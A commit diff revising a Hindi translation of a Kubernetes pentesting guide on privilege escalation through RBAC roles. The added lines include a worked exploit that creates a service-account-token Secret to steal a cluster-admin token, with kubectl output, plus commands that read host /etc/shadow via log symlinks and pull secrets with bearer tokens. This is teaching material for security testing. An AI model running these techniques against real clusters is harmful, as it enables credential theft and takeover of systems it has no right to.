Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

2025-12-26 20:54:14 -08:00 · 2025-01-22 12:07:36 +00:00
parent a2f0ed3fc0
commit 9ba7751692
1 changed files with 112 additions and 48 deletions
--- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -7,11 +7,11 @@

 ## **विशेषाधिकार वृद्धि**

-क्लस्टर के भीतर **विभिन्न विशेषाधिकारों** के साथ **एक अलग प्रिंसिपल** तक पहुँच प्राप्त करने की कला के रूप में संदर्भित किया जाता है (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं:
+इसका मतलब है **क्लस्टर के भीतर एक अलग प्रिंसिपल** तक **विभिन्न विशेषाधिकारों** के साथ पहुँच प्राप्त करना (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं:

- अन्य उपयोगकर्ता/समूह/एसए को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
- **पॉड्स बनाना/पैच करना/कार्यक्रम चलाना** जहाँ आप kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार वाले एसए को **पाना या संलग्न** कर सकते हैं
- **गुप्त पढ़ने** में सक्षम होना क्योंकि एसए टोकन गुप्त के रूप में संग्रहीत होते हैं
+- अन्य उपयोगकर्ता/समूह/SA को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
+- **पॉड्स बनाना/पैच करना/कार्यक्रम चलाना** जहाँ आप **बेहतर विशेषाधिकारों वाले SAs** को खोज या संलग्न कर सकते हैं kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में
+- **गुप्त पढ़ने** में सक्षम होना क्योंकि SAs टोकन गुप्त के रूप में संग्रहीत होते हैं
 - एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के क्लाउड में चलने के दौरान अनुमतियों को चुरा सकते हैं (यदि कोई हो)
 - एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।

@@ -51,7 +51,7 @@ verbs: ["create", "list", "get"]

 एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना

-एक पोड का उदाहरण जो `bootstrap-signer` सेवा खाते का टोकन चुराएगा और इसे हमलावर को भेजेगा:
+`bootstrap-signer` सेवा खाते का टोकन चुराने और इसे हमलावर को भेजने वाले पोड का उदाहरण:
 ```yaml
 apiVersion: v1
 kind: Pod
@@ -191,7 +191,7 @@ path: /
 ```
 ### **Pods Exec**

-**`pods/exec`** क्यूबेरनेट्स में एक संसाधन है जिसका उपयोग **पॉड के अंदर एक शेल में कमांड चलाने के लिए** किया जाता है। यह **कंटेनरों के अंदर कमांड चलाने या एक शेल के अंदर जाने** की अनुमति देता है।
+**`pods/exec`** क्यूबेरनेट्स में एक संसाधन है जिसका उपयोग **पॉड के अंदर एक शेल में कमांड चलाने के लिए** किया जाता है। यह **कंटेनरों के अंदर कमांड चलाने या एक शेल प्राप्त करने** की अनुमति देता है।

 इसलिए, यह संभव है कि **एक पॉड के अंदर जाएं और SA का टोकन चुरा लें**, या एक विशेषाधिकार प्राप्त पॉड में प्रवेश करें, नोड पर भागें, और नोड में सभी पॉड्स के टोकन चुरा लें और (ab)node का उपयोग करें:
 ```bash
@@ -205,13 +205,13 @@ kubectl port-forward pod/mypod 5000:5000
 ```
 ### Hosts Writable /var/log/ Escape

-जैसा कि [**इस शोध में संकेतित किया गया है**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पोड तक पहुँच सकते हैं या एक पोड बना सकते हैं जिसमें **hosts `/var/log/` निर्देशिका माउंट की गई है**, तो आप **कंटेनर से बाहर निकल सकते हैं**।\
-यह मूल रूप से इस कारण है कि जब **Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है** (using `kubectl logs <pod>`), तो यह **पोड के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` एंडपॉइंट का उपयोग करके अनुरोध करता है।\
+जैसा कि [**इस शोध में संकेतित किया गया है**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **hosts `/var/log/` निर्देशिका माउंट की गई है**, तो आप **कंटेनर से बाहर निकल सकते हैं**।\
+यह मूल रूप से इस कारण है कि जब **Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है** (using `kubectl logs <pod>`), तो यह **पॉड के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` एंडपॉइंट का उपयोग करके अनुरोध करता है।\
 Kubelet सेवा `/logs/` एंडपॉइंट को उजागर करती है जो मूल रूप से **कंटेनर के `/var/log` फ़ाइल सिस्टम को उजागर कर रही है**।

 इसलिए, एक हमलावर जिसके पास **कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है** वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:

- अपने कंटेनर के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **सिंकम लिंक हो जो `/etc/shadow`** की ओर इशारा करता हो, उदाहरण के लिए। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:
+- अपने कंटेनर के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **सिंबलिंक हो जो `/etc/shadow`** की ओर इशारा करता हो। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:
 ```bash
 kubectl logs escaper
 failed to get parse function: unsupported log format: "root::::::::\n"
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
 # Keep incrementing tail to exfiltrate the whole file
 ```
- यदि हमलावर के पास **`nodes/log`` पढ़ने की अनुमति वाले किसी भी प्रिंसिपल पर नियंत्रण है**, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/`** तक पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
+- यदि हमलावर के पास **`nodes/log`** को पढ़ने की **अनुमतियाँ** हैं, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/`** पर पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
 ```bash
 curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
 <a href="bin">bin</a>
@@ -239,7 +239,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
 ```bash
 mount -o rw,remount /hostlogs/
 ```
-#### hostPath readOnly सुरक्षा को बायपास करना <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
+#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

 जैसा कि [**इस शोध**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) में कहा गया है, सुरक्षा को बायपास करना संभव है:
 ```yaml
@@ -247,7 +247,7 @@ allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-जो पिछले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:
+जो पिछले वाले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -295,7 +295,7 @@ name: task-pv-storage-vol
 ```
 ### **विशिष्ट खातों का अनुकरण करना**

-एक [**उपयोगकर्ता अनुकरण**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) विशेषता के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है।
+एक [**उपयोगकर्ता अनुकरण**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) विशेषता के साथ, एक हमलावर एक विशेषाधिकार प्राप्त खाते का अनुकरण कर सकता है।

 बस `kubectl` कमांड में `--as=<username>` पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या `--as-group=<group>` का उपयोग करें एक समूह का अनुकरण करने के लिए:
 ```bash
@@ -310,23 +310,87 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
 -H "Accept: application/json" \
 https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### Secrets की सूची बनाना
+### Listing Secrets

-**Secrets की सूची बनाने की अनुमति एक हमलावर को वास्तव में secrets पढ़ने की अनुमति दे सकती है** REST API endpoint तक पहुँचकर:
+**गुप्त सूचनाओं की सूची बनाने की अनुमति एक हमलावर को वास्तव में गुप्त सूचनाओं को पढ़ने की अनुमति दे सकती है** REST API एंडपॉइंट तक पहुँचकर:
 ```bash
 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### एक गुप्त पढ़ना - टोकन आईडी का ब्रूट-फोर्सिंग
+### Creating and Reading Secrets

-जब एक हमलावर के पास पढ़ने की अनुमति वाला एक टोकन होता है, तो उसे इसका उपयोग करने के लिए गुप्त का सही नाम चाहिए होता है, जबकि व्यापक _**गुप्त सूची**_ विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट सेवा खातों को सूचीबद्ध किया जा सकता है, प्रत्येक एक गुप्त के साथ जुड़ा होता है। इन गुप्तों की नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) [स्रोत कोड](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
+Kubernetes के एक विशेष प्रकार का सीक्रेट है **kubernetes.io/service-account-token** जो serviceaccount टोकन को स्टोर करता है।  
+यदि आपके पास सीक्रेट बनाने और पढ़ने की अनुमति है, और आप serviceaccount का नाम भी जानते हैं, तो आप निम्नलिखित तरीके से एक सीक्रेट बना सकते हैं और फिर इससे पीड़ित serviceaccount का टोकन चुरा सकते हैं:
+```yaml
+apiVersion: v1
+kind: Secret
+metadata:
+name: stolen-admin-sa-token
+namespace: default
+annotations:
+kubernetes.io/service-account.name: cluster-admin-sa
+type: kubernetes.io/service-account-token
+```
+उदाहरण शोषण:
+```bash
+$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

-टोकन एक सीमित 27-चरित्र सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील सेवा खातों तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।
+$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
+Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
+Resources                                       Non-Resource URLs                      Resource Names   Verbs
+selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
+selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
+selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
+secrets                                         []                                     []               [get create]
+[/.well-known/openid-configuration/]   []               [get]
+<SNIP>
+[/version]                             []               [get]
+
+$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
+error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
+
+$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
+Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
+
+$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
+secret/stolen-admin-sa-token created
+
+$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
+{
+"apiVersion": "v1",
+"data": {
+"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
+"namespace": "ZGVmYXVsdA==",
+"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
+},
+"kind": "Secret",
+"metadata": {
+"annotations": {
+"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
+"kubernetes.io/service-account.name": "cluster-admin-sa",
+"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
+},
+"creationTimestamp": "2025-01-11T13:02:27Z",
+"name": "stolen-admin-sa-token",
+"namespace": "default",
+"resourceVersion": "1019116",
+"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
+},
+"type": "kubernetes.io/service-account-token"
+}
+```
+ध्यान दें कि यदि आपको किसी विशेष namespace में secrets बनाने और पढ़ने की अनुमति है, तो पीड़ित serviceaccount भी उसी namespace में होना चाहिए।
+
+### एक secret पढ़ना – token IDs का brute-forcing
+
+जब एक हमलावर के पास पढ़ने की अनुमति वाला token होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक _**secrets की सूची**_ विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से संबंधित होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक token (कुछ वर्णों को छोड़कर) [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
+
+यह token एक सीमित 27-चरित्र सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में token का अनुमान लगाने के लिए एक brute-force हमला कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।

 ### प्रमाणपत्र हस्ताक्षर अनुरोध

-यदि आपके पास संसाधन `certificatesigningrequests` में **`create`** क्रियाएँ हैं (या कम से कम `certificatesigningrequests/nodeClient` में)। आप **एक नए नोड का** नया CeSR **बनाने** में सक्षम हैं।
+यदि आपके पास resource `certificatesigningrequests` में **`create`** क्रियाएँ हैं (या कम से कम `certificatesigningrequests/nodeClient` में)। आप **एक नए node का** नया CeSR **बना सकते हैं।**

-[दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए इस मामले में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है `certificatesigningrequests/approval` में अपडेट करना और `signers` में `approve` करना, जिसमें resourceName `<signerNameDomain>/<signerNamePath>` या `<signerNameDomain>/*` होना चाहिए।
+[दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए इस मामले में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है `certificatesigningrequests/approval` में अपडेट करना और `signers` में `approve` करना resourceName `<signerNameDomain>/<signerNamePath>` या `<signerNameDomain>/*` के साथ।

 एक **भूमिका का उदाहरण** जिसमें सभी आवश्यक अनुमतियाँ हैं:
 ```yaml
@@ -361,10 +425,10 @@ verbs:
 ```
 तो, नए नोड CSR के अनुमोदन के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** कर सकते हैं ताकि **गुप्त जानकारी चुराई जा सके** और **अधिकार बढ़ाए जा सकें**।

-[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** करके एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जाते हैं और फिर उन पर अधिकार बढ़ाने के लिए गुप्त जानकारी चुराई जाती है।\
-यदि आपके पास **उल्लेखित अधिकार हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण एक नए नोड को कंटेनरों के अंदर गुप्त जानकारी तक पहुँचने से रोकने वाली त्रुटि को बायपास करता है क्योंकि **नोड केवल उन कंटेनरों के गुप्त जानकारी तक पहुँच सकता है जो उस पर माउंट किए गए हैं।**
+[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** नए K8s नोड के क्रेडेंशियल्स उत्पन्न करने के लिए किया गया है और फिर उन पर अधिकार बढ़ाने के लिए गुप्त जानकारी चुराई गई है।\
+यदि आपके पास **उल्लेखित अधिकार हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारी तक पहुँचने से रोकता है क्योंकि **नोड केवल उन कंटेनरों के गुप्त जानकारी तक पहुँच सकता है जो उस पर माउंट किए गए हैं।**

-इससे बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):
+इसका बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):
 ```bash
 "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
 ```
@@ -421,10 +485,10 @@ groups:
 GCP प्रिंसिपलों को K8s अनुमतियाँ असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुँचने के लिए **`container.clusters.get`** अनुमति की भी आवश्यकता होती है, या आपको **अपना खुद का kubectl config फ़ाइल** **जनरेट** करने की आवश्यकता होगी (अगले लिंक का पालन करें)।

 > [!WARNING]
-> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP ऑथ टोकन भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुँच है**, फिर यह जांचेगा कि क्या इसकी **GCP IAM के माध्यम से कोई पहुँच है**।\
-> यदि **इनमें से कोई भी** **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।
+> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP auth token भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुँच है**, फिर यह जांचेगा कि क्या इसके पास **GCP IAM के माध्यम से कोई पहुँच है**।\
+> यदि **कोई भी** इनमें से **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।

-फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के अपने **समान GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।
+फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के अपने **समकक्ष GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।

 {{#ref}}
 ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -438,28 +502,28 @@ GCP प्रिंसिपलों को K8s अनुमतियाँ अ

 ### ephemeralcontainers

-प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादित** कर सकते हैं, और संभावित रूप से **अपने नोड से बाहर** निकल सकते हैं एक विशेष सुरक्षा संदर्भ के साथ एक अस्थायी कंटेनर जोड़कर।
+प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं**, और संभावित रूप से **अपने नोड से बाहर निकल सकते हैं** एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।

 ### ValidatingWebhookConfigurations या MutatingWebhookConfigurations

-प्रिंसिपल जिनके पास `validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` के किसी भी क्रिया का अधिकार है, वे **ऐसे webhookconfigurations में से एक बना सकते हैं** ताकि वे **अनुमतियों को बढ़ा सकें**।
+प्रिंसिपल जिनके पास `validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` में से कोई भी क्रिया है, वे **ऐसे webhookconfigurations में से एक बनाने** में सक्षम हो सकते हैं ताकि वे **अनुमतियों को बढ़ा सकें**।

-एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जाँच करें](./#malicious-admission-controller)।
+एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जाँच करें](#malicious-admission-controller)।

 ### वृद्धि

-जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**बिल्ट-इन प्रिविलेज़ वृद्धि रोकथाम**](./#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना न तो भूमिकाएँ या क्लस्टर भूमिकाएँ अपडेट या बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** हो।\
+जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**बिल्ट-इन प्रिविलेज़ वृद्धि रोकथाम**](#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना न तो भूमिकाएँ या क्लस्टर भूमिकाएँ अपडेट या बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** हो।\
 तब वह नई भूमिकाएँ, क्लस्टर भूमिकाएँ बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।

 ### नोड्स प्रॉक्सी

-प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुँच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादित** कर सकते हैं (अनुसार [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego) से)। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
+प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुँच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादन कर सकते हैं** (अनुसार [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:

 {{#ref}}
 ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
 {{#endref}}

-आपके पास [**Kubelet API से अधिकृत बात करने के लिए RCE प्राप्त करने का एक उदाहरण यहाँ है**](../pentesting-kubernetes-services/#kubelet-rce)।
+आपके पास [**Kubelet API से अधिकृत बात करने के लिए RCE प्राप्त करने का एक उदाहरण यहाँ है**](../pentesting-kubernetes-services/index.html#kubelet-rce)।

 ### पॉड्स हटाना + अस्थायी नोड्स

@@ -474,45 +538,45 @@ while true; do patch_node_capacity <id_other_node>; done &

 kubectl delete pods -n kube-system <privileged_pod_name>
 ```
-### सेवाओं की स्थिति (CVE-2020-8554)
+### Services status (CVE-2020-8554)

 प्रिंसिपल जो **`services/status`** को **संशोधित** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड को **अनफिक्स्ड CVE-2020-8554** का लाभ उठाने के लिए सेट कर सकते हैं और **क्लस्टर के खिलाफ MiTM हमले** शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार [**यह**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))।

-### नोड्स और पॉड्स की स्थिति
+### Nodes and Pods status

 प्रिंसिपल जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं ताकि लागू किए गए शेड्यूलिंग प्रतिबंधों को प्रभावित किया जा सके।

-## अंतर्निहित विशेषाधिकार वृद्धि रोकथाम
+## Built-in Privileged Escalation Prevention

-Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक [अंतर्निहित तंत्र](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है।
+Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक [बिल्ट-इन तंत्र](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है।

-यह प्रणाली सुनिश्चित करती है कि **उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते**। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।
+यह प्रणाली सुनिश्चित करती है कि **उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते**। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी सुरक्षा प्रदान करता है।

-यह नियम stipulates करता है कि **एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों**। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।
